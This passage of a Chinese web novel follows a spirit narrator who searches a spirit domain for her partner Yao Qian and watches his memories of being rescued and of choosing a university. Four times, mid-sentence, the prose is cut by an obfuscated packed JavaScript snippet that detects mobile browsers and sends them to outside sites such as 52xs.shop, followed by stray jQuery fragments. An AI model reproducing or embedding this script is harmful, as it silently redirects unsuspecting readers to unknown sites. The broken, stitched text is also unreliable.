南哲点头:“对……而且手机无法通讯,大概也是进入灵域之中了。到现在为止,已经五个多小时了。” “……”我忍不住道,“这和他有关系吗?他来做什么?” 南哲道:“是因为他知道你进去了。” 从简短的讲述中,我大概知道了事情的经过。在我进入学校后没多久,下午一点多,姚千向杨骞打电话询问我的所在,并从南哲的口中了解到我进入了医科大之 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14573650|150322||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 中,并且行踪不明。其后,姚千不顾劝阻,也进入了医科大,且在下午五点左右的时候,手机通话显示不在服务区。 他也进入了灵域之中。 “他不是还生着病吗?”我皱着眉,“就非要进去吗?” 南哲跟杨骞翻译了一下我的话,杨骞叹气:“他不是担心你吗?我劝了,但也劝不住,他说自己病好多了。” 我睁大了眼:“我用得着他担心?他昨天病成那样,怎么可能半天就好起来……” 昨晚姚千那张苍白的脸再次在我脑中闪过,心情骤然揪紧,如同被一双手攥住,话说着说着,音量便沉了下去。 杨骞还在继续说话:“你不要担心嘛,姚千只是进到灵域里了,又不是出事了,就算病还没完全好,但实力总是摆在那里的……” 我受不了,喊南哲:“你让他先闭嘴。” 南哲戳戳杨骞,杨骞终于停下,我深吸一口气,道:“姚千八成是出事了。” “我们不是自己出来的,是那个残灵故意将我们放出来。方才我还在奇怪,为什么它会这样做。现在看来,原因恐怕已经很明显了。” “那个残灵,是要吸食驱灵师的回忆,以窃取灵能力,这样来看,同一时间大概率只能吸取一个人的……” “也就是说,姚千多半是,”仅仅几个字,要说出口竟然有几分艰难,我一顿,才道,“陷在里面了。” 接下来,便会像娄杉、许芷白那样,成为这残灵手下的牺牲品。 我想起在天台小屋中看到的那具失去生机的尸体,想起任谊得知噩耗茫然的口吻。今天残灵对付我时使用的灵能力,闪现的银色刀刃,便是从娄杉那里攫取来的。 姚千呢,残灵会从他的回忆中提取出什么,尔后取走他的灵能力和性命? 在桃源村小屋的那个深夜里,姚千曾经跟我讲过,他的灵能力来源于他遭遇的一次袭击——那晚我还欲深究,姚千却不说了,只弯起眼眸朝我笑:“等你恢复记忆时,就知道了。” 大约是因为他笑得少,这样一个笑容便被我记得深刻,仿佛仍在眼前,伸手就能触到。和当夜屋内不甚明亮的白炽灯一样,有融融的暖和意味。 后来我才知道那次是我救了他。只是仍然回忆不起来。 姚千之前说过几次,近来也提得少了,我其实也能感觉出来,他还在等待着我记忆恢复的那天——我也想知道我是谁,或者说,其实我也很想知道曾经的我和姚千之间,到底发生过什么。 当然不能让姚千死在这之前。 我对南哲道:“我要再回去一趟。” 南哲愣了:“你今天不是刚……” 我知道她要说什么,我今天已经败在那残灵手中一次了。 “或者你还有什么好办法吗?”我问。 南哲顿了顿,道:“现在情况比较紧急,正在联系愿意过来的驱灵师。但现在问过的附近城市的驱灵师,一听说姚先生在里面,都认为这次事件难度等级太高,解决不了。” “至于其他省有意愿的驱灵师,赶过来,恐怕也是明天才能到了。” 我摇摇头:“那也接近一天时间了,不能这样等下去。” 朝南哲摆摆手,我转过身,“那我先走了。” 我要再救姚千一次。 51. 驱灵师之死10 根据目前所了解到的娄杉的死亡报告,驱灵师是被灵域抓住后三天左右后因缺水死亡的。而对现在的姚千来说,病情尚未痊愈,只会死得更快。 何况,也不能任由这个残灵继续发展下去了,取走姚千的灵能力,这个残灵的棘手程度还会再提升几分。 今晚进入灵域,其实并不是一个坏时机。那个残灵无暇顾及我和那个工作人员,说明它现在并没有多余的精力,也就给了我趁虚而入的机会。 而对于我来说,一次的失败也带给我不少经验,虽然还没有十分清晰的制胜之道,至少也多了几分把握。 何况,这次我的目的并不是像以前一样击破灵域,只要救下姚千,其他都可以从长计议。 虽然决定做得很快,但这么走来一路的时间,诸多实际问题也从我脑中转过。 此时的校园里已经鲜有人在,我沿着预定的计划,从最可能出现灵域的位置开始搜寻。这次并没有之前那的好运,时钟又转过一圈,直到接近凌晨时分,我仍然一无所获。 万籁俱寂,校园里已经失去灯光,只有唯一一栋图书馆仍然亮着莹莹白光,其余之处,背光处甚至伸手难见五指。 人对黑暗的恐惧是天然的,黑暗意味着未知,未知隐含着危险。 我从楼梯间一路穿行而过,行到这座教学楼的地下一层时,无论是灯光还是月光,都已经被隔绝在土地砖墙之外。尽管已经失去对于这个世界的触感,我却还是像是察觉到了寒意,蓦地打了个寒战。 我浸入黑暗之中。 周围不见任何物什,我感觉不到周围的风,也接触不到白色的墙壁,只听得到仿佛没有边际的寂静。如果不是在上面看过大致地图,我恐怕会在纯黑的地下穿过墙壁,飘进周围的泥土之中。 其实我可以借助灯光寻求光亮,可如此大张旗鼓多少有打草惊蛇之意,不是我所希望看到的。 我只想尽快找到这个灵域的入口。 我在黑暗中穿行的速度很快,一边行进,一边以我的速度判断方才掠过距离。这座地下室并不长,不到一分钟时间,便足以来到尽头。然而一分钟时间过去,周围的黑暗仍然没有任何异样。 看来并不是这里。 我正欲直接向上,穿过天花板前往另一座教学楼,突然间,遥远处亮起了什么东西。 之所以用什么东西这样模糊的字眼,是因为这一瞬之间,我确实也判断不出那究竟是什么。非要说的话,这一瞬,我脑中只闪过一个形容——好快。 这并不是一个好现象,我登时悚然。要知道,速度是姚千所复制的灵能力之一,如果眼前的残灵拥有了速度有关的异能,那恐怕便是从姚千的身上所得到的。 尚未能辨别清眼前情况,片羽便已出手,朝着那道隐约闪光的身影直直射去,然而视野所及之处,片羽穿过那道身影,如同穿过并不存在的物什。 片羽是灵能力凝结而成的存在,无论是现实之物,还是残灵,都可以与片羽相接触,除非……眼前的情形,是回忆。 我迅速上前,眼前的一切逐渐清晰起来。周遭的一切都已变化,我突然从安静的校园中来到了山野郊区,周遭风声烈烈,带着漫山遍野密集的叶丛,掀出持久的声浪。 那道极速移动的影子,是一辆车。 却也并不是一辆普通的车,至少我从来没有见过移动得这样快的车。或许因为距离尚远,我大约能察觉到那辆车的车速。快得仿佛已经不是车,山上的道路弯道极多,每次拐弯,车辆都会猛得减速,车轮似乎与地面产生剧烈的摩擦,在车辆已经相当大的轰鸣中,插入一道刺耳的摩擦声。 这是什么来着?我恍然想到那个词,漂移。 这是姚千的记忆?我竟然一时有些好笑,这位看起来如此端庄稳重,竟然还会在山上飙车?实在不像是他的行径。 我试图加快速度,趁着这辆车从我附近穿过的机会进入那辆车,但这回忆似乎也正在变幻是视角,很快,不必我行动,车内的情况便出现在了我的眼前。 车里确实只有一人。姚千此时看上去年纪尚轻,脸庞的轮廓尚存稚嫩,眼神却已经隐隐有了现今内敛沉静的味道,五官的清俊在这张年轻的脸上多了几分招人喜欢的文雅隽秀。他双手握着方向盘,看上去是正在飙车,但却并无任何兴奋愉快之感,皱着的眉宇间,有紧张,还有些微被努力掩藏的恐惧。 下一秒,他开口,语气里有努力维持的镇定,可惜尚不够成熟老练:“你到底想干什么?” 车里空无一人。我惊了一瞬,还以为姚千是在跟我说话。然而下一秒,车里发出了另一个男人的声音。 “你果然能看到我。” 直到这时,我才发现,这辆车的方向盘之上,突然探出了另外一双手。接下来,一个青年男人缓缓从极速前进的车中冒出了身影。 这人生得很瘦,头发略长,眼睛微眯,即便是说话间,眼睛仍然注视着前方的道路。车辆漂移时,他的神色也略微改变,仿佛操纵车辆的并不是姚千,而是他。 我终于明白过来。 并不是姚千在故意飙车,这辆车,现在已经被车中的这个残灵所操纵。而姚千身在车上,根本无法离开,只能抓住方向盘,或许是寄希望于残灵放过他时,他还能第一时间找回对车辆的控制。 那控制着车的残灵男人用眼睛瞥一眼姚千,已经嘿嘿笑起来:“我就说,你能看到我。方才在路上,我分明看到你往我的方向看了一眼,之后我再怎么在车里闹出动静,你却又好像看不见我了。看来果然是装得嘛,这么一动,你就能看见了。” 姚千抿紧了唇,片刻才缓缓道:“我并不想招惹你。” “但是我想招惹你啊。灵感者,啧啧,多好玩。”残灵男人笑得愈发开心,几乎要露出后排的牙齿,“看你这种明明能看到我,却又装作看不见的样子,太有意思了。” 这算什么?我忍不住嘁了一声,对眼前残灵男人的行为颇为不齿,同时也明白过来姚千曾经说过的那段话。 “灵感者由于能够看到残灵,所以被残灵所伤害的可能性,比一般人要大一些。” 曾经姚千说这段话时,垂着眼,神色里隐约翻滚着什么回忆,却不明显,我只撇了一眼,便自然地忽略过去。 原来所说的这些,也都是姚千的亲身经历。没有灵能力,不能对残灵产生任何伤害,只能为其所伤的灵感者,只因为在路边看了残灵一眼,便遭到如此危险的纠缠。 “究竟有什么意思?”回忆里这个少年人姚千微微眯眼,语气中闪动着怒意。 男人看他一眼,哈哈大笑起来:“就是你这样,这样非常好玩。” “是不是很愤怒,是不是很无力。明明能看到,却什么都不能做!”他的声音越来越大,笑容和声音都愈发扭曲,“就和我一样!就和我一样!” “为什么我死了,为什么我死了!” 男人的声音近乎于咆哮,“只是一次小小的失误,就再也开不了车了!我每天游荡在这里,每天都看到这些车,只能看到!我再也不能坐进驾驶座,再也不能上赛道了,你知道我心里有多痛苦吗?” 姚千冷冷地看着他:“所以,前段时间那几场莫名其妙的车祸,也是你做的?” 我注意到,他放在副驾驶座上的手机背面朝上,屏幕似乎隐隐发着光,似乎是在通话页面。 残灵男人笑了:“没错,你还挺关 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14582006|150322||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 注这些的。” “总是要为自己安全……打算。”姚千的声音低下去,不知道在想什么,他握着方向盘的手松了些,只无力地挂在方向盘之上。 没有姚千握着的方向盘,仍然在动,车子在高速行进,刺耳的漂移声还在一声又一声地响起来,昭示着车子已经经过一个又一个弯道。 姚千看一眼车窗外:“已经快到山顶了,你还要往上开吗?” 残灵男人的目光落在前方道路上,几秒没有吭声,而后突然道:“你喜不喜欢山上的风景?” 姚千不回应。 “我喜欢。”男人刚才高声发泄了一通,情绪似乎稳定了些,语气也愉快,声调逐渐高昂,“你想不想试试,用这种速度从山上冲下来?” 姚千一怔,片刻才反应过来:“你是要……” “对,”男人笑道,“就是要玩个大的。就是你想的那种,从山顶……”他的手比划了一个从上而下的抛物线形状,“这样从山顶落下来。” 他盯着姚千,“你还是学生吧,来,帮我算算,这样能不能直接摔到山脚下?” “你疯了吧?”姚千的声音里终于有了明显的怒意,“山脚下是有房子的,是有人的。” “你不也是人吗?”男人问他,“你都要死了,还关心这些?” 姚千没有再说话,但神色终于不能恢复平静,我看到他额上渐渐冒出汗珠,尽管是少年形象,我倒还是第一次看到姚千如此失态的样子。 虽然知道这只是回忆,这么短短几分钟里,我还是忍不住也闪过紧张愤怒的情绪。 “你休想。”姚千缓缓说出这样三个字。 那男人再次笑起来:“你以为自己……” 话语未落,姚千已经伸出右手,猛然拉起了手刹。 此刻车辆正在直行道上,速度极快,手刹拉动的下一秒,我听到车辆内外发出尖锐的摩擦声,速度锐减,车辆剧烈摇摆起来,车尾上扬,差一点便要整个翻过去,又猛然撞回车道,发出巨大的碰撞声。 “你疯了!”男人大惊,一时间竟也失去对车辆完全的控制。 我看到姚千脸上露出浅浅的笑容。 车子在原本就狭窄的车道上左右移动了两秒,便一头冲破道路围栏,落下山去。 在车子即将从山坡上翻滚而下之际,突然间,巨大的加速度降了下去。像是突然受到向上的力,整辆车被迫改变原来的轨迹,在即将破碎的边缘停了下来。 车子被缓缓放在了下方的山道上。 下一秒,一只巨大的白犬出现在车前,一口咬住了车上神色惊愕的残灵男人,不顾他的挣扎,将之整个人衔在了嘴里,任由其痛呼尖叫。 “车怎么突然就掉下来了,”有年轻的女子声音传过来,“吓我一跳。” 虽然抱怨着,语气倒还轻松,似乎只是工作中寻常的自言自语。 一个长相熟悉的少女似乎是被什么系着,轻快地落在车头前。她蹲下身,透过破碎的前车窗看看里面已经因为巨大变故完全呆住的姚千,朝他招招手,笑眯眯的。 “哈喽。没受伤吧?” 她的语气里带着天然的亲和,像和每个人都是好朋友。 “放心,没事了。”大概是见姚千还愣着,她又安慰地笑了笑。 山上没多少灯,好在这夜里月亮圆润,坐在车里也能看到她生了一张过分明媚漂亮的脸,眼仁乌黑,皮肤白得像是能反射月光,唇角天然上扬,神色悠然愉快。如此激烈的现场里,她举手投足间仍然带着十足的气定神闲。 “我叫苏吉光,是驱灵师。放心,残灵已经被我家小白抓住了。” “不要害怕,我会保护你的。” 52. 驱灵师之死11 原来这就是姚千所说,他被我所救吗! 事情发展到这个地步,我终于恍然大悟。 确实合理,这时间姚千显然还没有灵能力,而我正是在这个阶段认识姚千的。眼前的画面里,姚千也从方才的刺激中清醒过来,从多少有些形变的车里出来,眼神在被白色巨犬咬住的残灵上逡巡过两周,大概是在确认残灵是不是确实失去反抗能力了。 少女版本的苏吉光任由他看了一会儿,又笑道:“没事,你放心吧。随时可以杀了他,只不过最好还是走个流程,把事实先搞清楚再说。你有什么想问的,都可以问我,我也会问问你刚才的情况。” 姚千于是转过脸看她,神色恢复最初的平静,眼眸深深的看不出情绪,已经初具现在姚千的讨厌气质。停了两秒,他突然问:“你刚才是用什么停下了车?” “应该不是这只狗吧,你有两种灵能力?” 苏吉光抿着嘴,微微点头,笑了一下:“你还蛮了解的,是灵感者?” 姚千没有说话,等她的答案。苏吉光便伸出手,一圈线出现在她两指之间,在月光下泛着清亮的银光。 “这是我的另一个灵能力,片羽,是线。” “只是线,就可以将车子拉起来吗?”姚千的语气并不像怀疑,而是单纯的困惑。 苏吉光的神色认真了些:“当然可以。你看起来它是线,其实并不止于此。灵能力是情绪的延伸,形式只是它存在的方式之一,灵能力者的意念才是其本质。” 姚千没有言语,只是仍然看着苏吉光,不知道听懂了没有。 苏吉光见他不回答,便问他:“刚才那个车,是这个残灵弄下去的?” 姚千想了想:“他有很大责任。但拉起手刹,让其失控的是我。” 苏吉光:“……哈?” 姚千便将刚才的情形向苏吉光原原本本地讲述了一遍,听到最后,苏吉光忍不住摇头失笑:“你也太莽撞了。” 姚千淡淡道:“这是当时来看最好的解决办法。” 苏吉光眨眨眼,将脸凑得近前了些:“哼,那为什么不再等一会儿?说不定等下就有转机,比如,你看,我来了。” 姚千像是被突然拉进的距离弄得有些无措,声音也小了点:“我也想不到,报警电话只拨通了几分钟,没想到人来得这么快。” “其实你就是放弃了吧?感到绝望了。”苏吉光直起腰,语气轻描淡写道,“觉得这么活下去也没有意思。” 我看到姚千的眉尖动了动,仿佛被猜中一样地怔了一秒,随即语气不变道:“为什么这么说?” “猜的。”苏吉光迅速作答。 姚千:“啊?” “没有求死的决心,谁会做出这样的选择呢?”苏吉光突然又懒散地接下这句话,“不要这样。只要还有一线希望,便不要寻死。死永远不会是好的解决办法。” 姚千又没有说话,不知道听进去没有。 苏吉光便拍拍他的肩:“我知道的,灵感者的世界总是更加危险一些。没事的,有问题可以……” 姚千突然打断了她的话:“我现在不是灵感者了。” “额?”苏吉光话断在半截,有些茫然地看他。 姚千看向仍然被白色大狗咬在嘴里的残灵:“你等下是要杀死他吗?我有预感,在他死去的时候,我有机会,复制它的灵能力。” …… 回忆由此渐渐消失,我回到了黑暗之中。仿佛是看了一段电影,离场时我仍然念念不忘,想要继续看下去。好在这念头只持续了一秒便消失了,我左右四顾,尽管在漆黑的灵域中看不到任何存在,也做出戒备防御的架势来。 刚刚这一幕,显然就是姚千觉醒其灵能力的过程,想来在姚千的回忆里也占有相当重要的位置。那个残灵为何没有出现在这里,这不是它的目标吗? 还是说,回忆并不止会出现一次? 情况尚且不明,我继续观察四周,在彻底黑暗的环境里,任何一点遥远的亮光就像饥渴人类眼前的食物一样晃眼,下一秒,我便向着下一段回忆出现的位置飘去。 这些回忆里几乎没有什么鸡毛蒜皮的小事,有些是任务的过程,有些是日常的活动。有意思的是,我还看到了有关于那个话剧团的相关回忆。记得刚了解到自己姓名后,我还在电脑上搜索过自己和姚千的名字,最后只得到了一张话剧团的照片。 当时我还有点好奇,毕竟依照姚千现在的性格来看,看不出丝毫喜欢艺术的可能性,更别说存在什么表演的天分了。从这段回忆中我才恍然大悟,原来是我觉得好玩,劝姚千参加的。 那张所谓苏同学看到的照片,也确实是我拍摄的。 看来我和姚千的关系确实很好,姚千大学的回忆里总是处处充满了我的影子。拜其所赐,也让我对失忆前的自己有了更多了解:活泼爱热闹,和身边每个人都像认识了十年以上,精力充沛兴致高昂,总显出游刃有余的姿态。 此外,和姚千作为搭档执行任务的前两年,我仿佛总自顾自地扮演一个“导师”角色,对姚千作为驱灵师的成长诸多关心指导。 这些回忆现在被我浏览过几个,自己也忍不住腹诽:真不会有人觉得我有些过犹不及吗?若是现在经验多于我的姚千总是如此,我自己恐怕是接受不了的。 不过回忆里的姚千倒是照单全收,没有丝毫不耐烦的样子。看上去不好说话的姚千,在少年时代居然还挺有耐心的。 浏览过几段回忆,虽然周围并没有任何能够显示位置的参照物,但根据我对自己唯一的印象,也能意识到自己距离刚进入灵域时,已经走出了相当长的一段距离。 而周围的黑暗仍然无边无际,除了下一段回忆闪烁的遥远光亮,看不到任何其余的东西。 在如此平静之中,我心中的不安仍然在继续扩大。残灵、姚千,究竟在哪里? 循着光亮奔向下一段回忆,这次出现了一个生面孔,是个与姚千年龄相仿的男生,两人正 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14593223|150322||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在路边一家小店吃饭。听说话的内容,两人大概是高中同学。 似乎是再寻常不过的场景,与之前或执行任务或正在表演一比,实在平淡了很多。 难道因为这个同学具有什么与众不同的意义?我好奇心顿起,看得认真了些。 两人的对话似乎进行了有一段时间,桌上的饭菜已经吃得七七八八,对面的男生也聊得兴起,感慨道:“真没想到居然大学还能在一个城市,我还以为你肯定会上t大z大那种呢,毕竟成绩那么好。” 他说着说着,也自觉尴尬:“抱歉,是不是不该聊这个?” “没事。”姚千倒很坦然,“不是考试失利,我特意填了c大。” “啊?”对面人愣了愣,“也就是说你的分数本来可以上t大?” 姚千点点头。 男生懵了,连声音都提高了:“不是,我说,虽然咱们c大也挺好……但是这两者没有可比性的吧?!你爸妈也同意吗?” “他们没管我。”姚千浅浅笑了笑,“我说了一个分数,他们就信了。” “额……不好意思,忘了你家庭情况了。”男生讪讪把声音降下来,“所以,你干嘛非得填c大?也没见你多喜欢咱们c省啊。” 姚千这次却沉默了两秒,道:“因为有想做的事情。c大有个很重要的人。” 他话还没说完,对方便换上一副了解到惊天八卦的震惊表情:“啊?你是因为要追人去的c大?不是吧,谁啊?这不从来都是别人追你,也没见你答应过,原来你心里早就有目标?!” “不,报志愿前刚认识的。”姚千没有否认,只是缓缓道,“是一个很厉害的人。” 男生像是见了鬼一样悚然地看着他:“不是,你是不是,进什么……组织,或者,额,你听过诈骗相关的新闻吗?” 他凑近姚千低声道:“我跟你讲,邪那个什么教,那是犯法的!” 姚千:“……” “都不是。”他不理解地看着男生,“你太夸张了。” “我夸张?你说我夸张?”男生指指自己,又指姚千,“从高考结束到填志愿,那才多少天?你就为了这么一个认识没有一个月的人,就改掉了自己的志愿!谁听都会觉得你疯了吧。” 不得不说,我也觉得这话很有道理。 “不是认识一个月。”姚千继续给对方的惊讶加磅,“当时是只见过两次。” 男生陷入长久的沉默,似乎终于不想说话了。经过漫长的思想斗争,他垂头道:“行吧,没想到你居然是这种顶级恋爱脑。那个女生呢,兄弟有幸见见吗?” “恐怕不行。”姚千道,“她很忙,而且,也没有带你见她的理由。” “忙什么?你越说越可疑了……”男生虚着眼,“怎么,你还没有追上?” “嗯。” 姚千很平淡地道,“我现在还没有跟她谈论这些的资格。连我是为了她报考c大的这件事,目前为止,也只有你一个人知道。” 53. 驱灵师之死12 对面的男生再次不说话了,可能不知道要怎么接话。而我附在桌子旁的另一张椅子上,此刻也因为这回忆而感到些许茫然。 这样说来,在我和姚千第一次见面后不久,他就填报了c大? 正当我思索之时,男生和姚千的对话还在继续,剩下的对话便朝向了其他话题,这段回忆也渐渐显现出模糊的状态,最终消散在了黑暗之中。 周围的灵力似乎有了些许变动。 在逐渐被我习惯的漆黑之中,我察觉到了灵力的变化。这些灵力似乎从死水一潭变得有了反应,开始流动了。 这究竟是好事还是坏事?我无从判断,也暂且无法根据灵力的流动判断出一个准确的方向,只好向着下一个升起的光亮处游去。 这次的场景相比之前就宏大许多,看样子是姚千在与我联手对付一个残灵。回忆里没有具体的时间,但是看姚千能够熟练使用自己复制的第二个灵能力,多半是大学二三年级时的事情了。 画面中的残灵已是强弩之末,看起来回忆也将接近尾声。看到空中漂浮着纸刃,我四处找寻,才终于在回忆画面的角落里看到了年轻版本的乐语——和现在的样子也没有什么明显区别。 原来这是和乐语合作的一次任务,姚千就差把人家从自己的记忆中删除出去了。 我心中好笑,目光从战场挪开,转头去关注回忆的边边角角。 周遭的灵力还在持续波动,于此同时,我意识到整个场景里人的行动,似乎变得有些古怪,可一时又说不上是哪里奇怪。 到底是哪里?我的目光四处逡巡,整个场景混乱至极。 除了我、姚千、乐语三人外,还有其他驱灵师在场,残灵的灵能力与驱灵师的灵能力混杂在一起,形成十分宏大激烈的场面。 而我位于这样场景的中心地带,已然被这些影像淹没。 究竟是哪里不对劲? 我心中再次提问之时,震荡的灵能力突然随着场景凝聚起来,回忆中乐语操纵的纸刃乍然显现出银色光芒,朝着我的方向斩来! 果然如此。 我等的就是这样一刻。 灵力的流动无非预示着那残灵确实已经发现了我,找过来也只是分分钟钟的事情。这混乱的回忆场面,不过是为偷袭创造条件。 片羽闪现,数十道线互相缠绕,凝成一股,寒光闪现,仿佛一段钢丝。线刃极速相撞,碰撞出钢铁交击的声响,霎那间火化四溅! 偷袭未成,那银色刀刃没有收手的意思,凝聚的灵力明显更澎湃了几分,片羽之上的力道越来越重,显然已经超过了白天时斩断片羽的力度。 但此时此刻,片羽还是没有断。 不仅没有断,线身稳定,丝毫不见晃动——仿佛还能承载更尖锐的刀刃和更强大的重量。 出现在周围的所有记忆霎那间消失,整个战场回到不见五指的漆黑之中。 视觉丧失,虚无的黑暗仿佛通向极致的危险。 然而全然的黑暗只维持一秒不到,嚓的一声,一丛火花从两段片羽中碰撞而出。紧接着,火焰被无数道线所指引,沿着轨道朝着四面八方迅速蔓延开来。 热量染尽了所有空气。 只几秒之间,十几条燃烧着火焰的片羽已经横竖在黑暗之中,将此片灵域照得通亮。 那刀刃似乎也因这场景产生片刻迟疑,灵力减弱。只这一瞬间,片羽找到空隙,一道火焰从后绕向刀刃,将其彻底缠绕其中,火焰腾升,锋利的刀刃咔得一声,崩出一道缺口。 场面寂静,那刀刃的主人暂停攻势,仿佛显现出短暂的惊愕。 遥远、不明来源的声音将我包围:“是你……?” “当然是我。”我冷笑一声,“像我这样好看的残灵你还见过几个?” 那声音再不做声了,我也能理解它心中的奇怪。上午的手下败将,没道理下午就改换了这么多。 “第二次见你,肯定要增长些经验。”我笑了笑,“何况,刚才你不是也让我自己,教导了我一番吗?” 在回忆中,姚千问过苏吉光,为什么如此纤细的线却能吊起整辆汽车。 ——灵能力是情绪的延伸,形式只是它存在的方式之一,灵能力者的意念才是其本质。 “不愧是自己,说的话都那么容易让我理解。”我自言自语。 片羽并不止是线,在我意念的操纵之下,能力原本就孕育着无限可能。或许这句话是说来容易做到难,可对于我而言,是把忘记的东西重新捡拾起来,自然要轻松许多。 那刀刃显然并不准备就此罢手,可惜再也不能掀出什么新的花样。这灵能力是它从娄杉身上取来的,不过几天而已,能做到的也就仅限于此了。不消10分钟,所有的刀刃便彻底偃旗息鼓,消失在了黑暗之中。 收起片羽,四周一片寂静,我朝着下一段回忆而去。 下段回忆又是一个全然陌生的场景。白墙白砖,姚千坐在一个身着白色大褂的中年女性面前,我反应了几秒,才意识到这应当是医院。 画面里的姚千似乎年长了几岁,称得上是面容憔悴,连目光也有几分恍惚,我还没有见过如此狼狈的姚千,有一瞬间几乎要怀疑这是姚千的孪生兄弟。 “苏吉光呢?” 姚千开口提出的问题让我心中一跳。 对面的女性语气很温和,目光中仿佛有抚慰人心的力量:“她不在这里,她去做一个新的任务了。” 姚千冷笑:“你哄谁呢?” 女人摇摇头,轻声道:“你觉得我在骗你吗?” “这一切不合乎逻辑。” 姚千揉了揉眉心,似乎是受到头痛的折磨,状态很差。尽管如此,语气也仍然有在灵域里冷静分析的口吻,于是形象与平日的姚千重合起来。 “在我的记忆里,苏吉光是突然消失的。她消失之前,和正常的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14599688|150322||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 每一天一样,言行举止没有透露出任何异常。对于我而言,一旦她存在任何一点不同之处,我不会视而不见的。” 姚千轻笑一声:“或许你们会说,她是突然接到任务出发的,所以在此之前不会有异常。” “但是在这之后,我却因为不明原因住进了医院——” “你们说,这是因为我突然遭受了某个残灵的袭击,导致受伤。但如果仅仅是如此,为什么我的记忆出现了大片的空白?从三个月之前,我能回忆起来的,便只有碎片化的片段。” 姚千看着对面的医生:“我的记忆被抹去了一段。是谁做的?” “如果是残灵,你们不会故意隐瞒我,可见,这是你们做的。而且,我可以肯定,在这段消失的记忆里,藏着苏吉光无法被联系到的真相。” 医生看着姚千,平静眼神突然松懈下来,笑着叹了口气:“我想也是,这是没办法瞒过一个驱灵师的。不过你也反应得太快了。” 姚千似乎没有和她聊天的兴趣,只紧接着问:“所以苏吉光呢?” “你现在已经基本恢复正常,可以出院了。”医生没有回答他的问题,“我能告诉你的就是,抹去这段记忆,也是我们无奈的举措,是为了让你可以活下去。” “苏吉光究竟去了哪里,等你出院之后,就可以知道了。” 姚千皱起眉,显然无法接受对方的说辞,问道:“记忆还可以恢复吗?” “我们没有这种能力。”医生道,“但你的记忆本质上并不是被彻底删除,而是被封存覆盖了。以后有机会,或许你可以再想起它们。只是,现在还不是时候。” 她朝前探了探,一缕披散的长发从肩头落在桌上,语气更加认真了些:“姚千,有时候真相并不一定是你需要的。” “我懂了!” 我忍不住喊出声来。 回忆中姚千和医生的对话仍然在继续,但我已经有些无暇顾及内容究竟如何了。 我终于知道不对劲的感觉究竟来自何处了! 从之前那次任务场面,我便觉得有哪里不对劲,但却又不能说明。直到此时,这种感觉终于清晰明朗起来。 这里回忆的画面被减慢了! 就像是视频被变成了0.9倍速,或许在变速的瞬间会让人觉得奇怪,但越是看得时间长了,越是会习惯于这种速度,将其视为正常。只有潜意识还能察觉到不对的地方,细想来却也不知道究竟是哪里不对。 直到医生的头发从肩头落进桌面,我才终于发觉,这个场景中的时间确实是要慢于正常流速的。人说话的语速或许可以变化,但是物体滑落的速度,却是无法改变的。 我开始回忆从进入灵域后,看到的所有回忆。 这种不对劲,确实是从上一个回忆开始的,在此之前的种种画面,物体运动的速度都是合乎常理的。 那么为什么,这里的回忆画面速度会减慢? 54. 驱灵师之死14 我想起白天里失去意识后的所有记忆。 事实上,在这个灵域中被读取记忆的我,并非全然失去了意识,在整个过程中,作为残灵的我仿佛做了一场大梦,在不断闪过往昔记忆的同时,仍然有在此之外的部分意识在活动着。 也就是说,或许此时的姚千也是如此,虽然魂灵被束缚,但还没有失去全部意识。 变慢的记忆,就是其对于坐标的提示。 越是靠近姚千所在的位置,回忆恐怕越是受到其影响。由此,我便可以根据这一提示,找到正确的方向。 接下来,我又连续穿过了几个回忆,辨明了记忆的大概速度后,便迅速离开,寻找下一个速度。重复几遍,便基本确定了一个记忆减慢的方向。 越是沿着方向前行,画面情节的流速确实越来越慢,已经足够令人有明显的感知。 姚千取得了新能力的回忆渐渐消失在黑暗中,我留在黑暗中,陷入沉思。 这附近应当就是姚千的所在了。 可是他人在哪里? 既没有魂灵的气息,也没有灵力波动的迹象,只有记忆的流速指向这里。令我也不由得怀疑,难道我的判断是错误的,记忆变慢的流速并不能指引姚千所在的位置? 自我怀疑不过两秒,我看着下方平滑的地面,缓缓沉了下去。 我从来没有尝试过,进入灵域的地面以下。 